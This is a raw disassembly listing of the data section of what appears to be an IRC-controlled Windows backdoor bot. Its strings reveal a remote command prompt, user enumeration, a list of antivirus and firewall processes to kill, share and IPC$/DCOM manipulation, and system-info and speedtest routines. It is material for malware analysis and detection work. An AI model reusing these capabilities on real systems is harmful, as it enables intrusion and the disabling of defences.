aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_439334 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 4 unk_439368 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 10h dword_439670 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43969C db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C8 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397D0 dd offset dword_4397C4 dd offset dword_4397B8 dd offset dword_4397AC dd offset dword_4397A0 dd offset dword_439794 dd offset dword_439784 dd offset dword_439778 dd offset dword_43976C dd offset dword_439760 dd offset dword_439754 dd offset dword_439744 dd offset dword_439738 dd offset dword_439728 dword_439728 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:00439724o dword_439738 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439720o dword_439744 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043971Co dword_439754 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439718o dword_439760 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43976C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439710o dword_439778 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043970Co dword_439784 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439708o dword_439794 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439704o dword_4397A0 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439700o dword_4397AC dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396FCo dword_4397B8 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F8o dword_4397C4 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396F4o dword_4397D0 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396F0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396ECo align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E8o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396E4o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396E0o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396DCo align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D8o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396D4o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396D0o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396CCo align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C8o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 10h unk_439880 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398A4 db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_4398C8 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F8 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439928 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_439950 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_439980 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399B4 db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_4399D8 dd offset dword_439A10 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 10h dd offset dword_439A08 align 8 off_4399E8 dd offset dword_439A04 ; DATA XREF: sub_41A19D+1E3o dd offset off_439A00 dd offset dword_4399FC dd offset off_4399F8 off_4399F8 dd offset dword_5C3A44 ; DATA XREF: sub_419E79+217o ; ___:004399F4o dword_4399FC dd 2444h ; DATA XREF: ___:004399F0o off_439A00 dd offset byte_5C3A43 ; DATA XREF: ___:004399ECo dword_439A04 dd 2443h ; DATA XREF: ___:off_4399E8o dword_439A08 dd 494D4441h, 244Eh ; DATA XREF: ___:004399E0o dword_439A10 dd 24435049h, 0 ; DATA XREF: ___:off_4399D8o dword_439A18 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439A48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_439A70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_439AC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AEC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_439B10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439B40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_439BB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 10h dword_439C00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C30 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 10h dword_439C80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D6C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DAC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_439E20 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A038 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A114 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 4 aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 4 dword_43A148 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A18C dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A190 dd offset byte_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A194 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A19C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1AC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A208 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A224 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A260 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A27C dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 7AA39F0Eh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_3 dd offset nullsub_3 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C270h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433824h dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset loc_54534D+3 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset loc_54444C+4 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... 